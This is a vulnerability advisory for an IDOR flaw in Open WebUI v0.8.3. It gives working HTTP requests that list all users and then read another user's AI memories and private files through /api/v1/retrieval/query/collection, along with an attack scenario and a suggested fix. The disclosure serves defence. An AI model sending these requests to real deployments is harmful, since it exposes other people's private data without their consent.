CVE-2026-29071: Open WebUI: IDOR exposes AI memories and private files

### Summary Any authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection` ### Details **Vulnerability 1: Missing authorization in collection querying** In `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation: ```python async def query_collection_handler( request: Request, form_data: QueryCollectionsForm, user=Depends(get_verified_user), # Only checks authentication, not authorization ): ``` Collection names follow predictable patterns: - User files: `file-{FILE_UUID}` - User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature) ### PoC **Environment:** Open WebUI v0.8.3, default configuration. **Setup:** 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories. **Exploitation — Step 1: Enumerate all users** ``` GET /api/v1/users/search HTTP/1.1 Host: <target> Authorization: Bearer <attacker_token> ``` Response reveals all users including admin's UUID, email, and role: ```json { "users": [ { "id": "1e4756eb-b064-4781-8b06-4979bca59c8b", "name": "user", "email": "user@test.com", "role": "user" }, { "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba", "name": "admin", "email": "admin@test.com", "role": "admin" } ] } ``` <img width="1340" height="731" alt="1poc - users" src="https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9" /> **Exploitation — Step 2: Read admin's memories** Using the admin UUID obtained in Step 1, query their private memory collection: ``` POST /api/v1/retrieval/query/collection HTTP/1.1 Host: <target> Authorization: Bearer <attacker_token> Content-Type: application/json { "collection_names": ["user-memory-<admin_UUID_from_step_1>"], "query": "test" } ``` Response returns admin's private memories: ```json { "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]] } ``` <img width="1285" height="606" alt="2poc - memory" src="https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082" /> **Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration. **Exploitation — Step 3: Read admin's private file (Vulnerability 1)** File collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known: ``` POST /api/v1/retrieval/query/collection HTTP/1.1 Host: <target> Authorization: Bearer <attacker_token> Content-Type: application/json { "collection_names": ["file-<file_UUID>"], "query": "test" } ``` Response returns admin's private document content and full metadata: ```json { "documents": [["Test PDF \nabc \nbcd"]], "metadatas": [[{ "name": "Test PDF.pdf", "author": "Mariusz Maik", "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba", "file_id": "243bee10-49ad-466f-884b-67b6b3d74968" }]] } ``` <img width="1413" height="908" alt="image" src="https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596" /> ### Impact - **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins. - **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`. - **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation. - **No admin privileges required:** A regular user account is sufficient to exploit all of the above. ### Suggested Fix **1. Add ownership validation in `/api/v1/retrieval/query/collection`:** ```python async def query_collection_handler( request: Request, form_data: QueryCollectionsForm, user=Depends(get_verified_user), ): for collection_name in form_data.collection_names: if collection_name.startswith("user-memory-"): owner_id = collection_name.replace("user-memory-", "") if owner_id != user.id and user.role != "admin": raise HTTPException(status_code=403, detail="Access denied") elif collection_name.startswith("file-"): file_id = collection_name.replace("file-", "") # user_has_access_to_file — placeholder; verify file ownership # e.g. check if created_by matches user.id if not user_has_access_to_file(user.id, file_id): raise HTTPException(status_code=403, detail="Access denied") ``` **2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users. ### Disclosure AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.

An attacker registers a standard user account on a shared Open WebUI instance (e.g., a company's internal AI assistant portal). They call GET /api/v1/users/search to obtain the full user list including admin UUIDs and emails. They then POST to /api/v1/retrieval/query/collection with collection_names set to 'user-memory-{admin_UUID}' and a broad query term. The response returns the admin's accumulated AI memory — potentially containing system prompts, business context, client names, or internal project details the admin fed to the LLM for personalization. The entire operation requires no elevated privileges and leaves minimal trace beyond standard API access logs.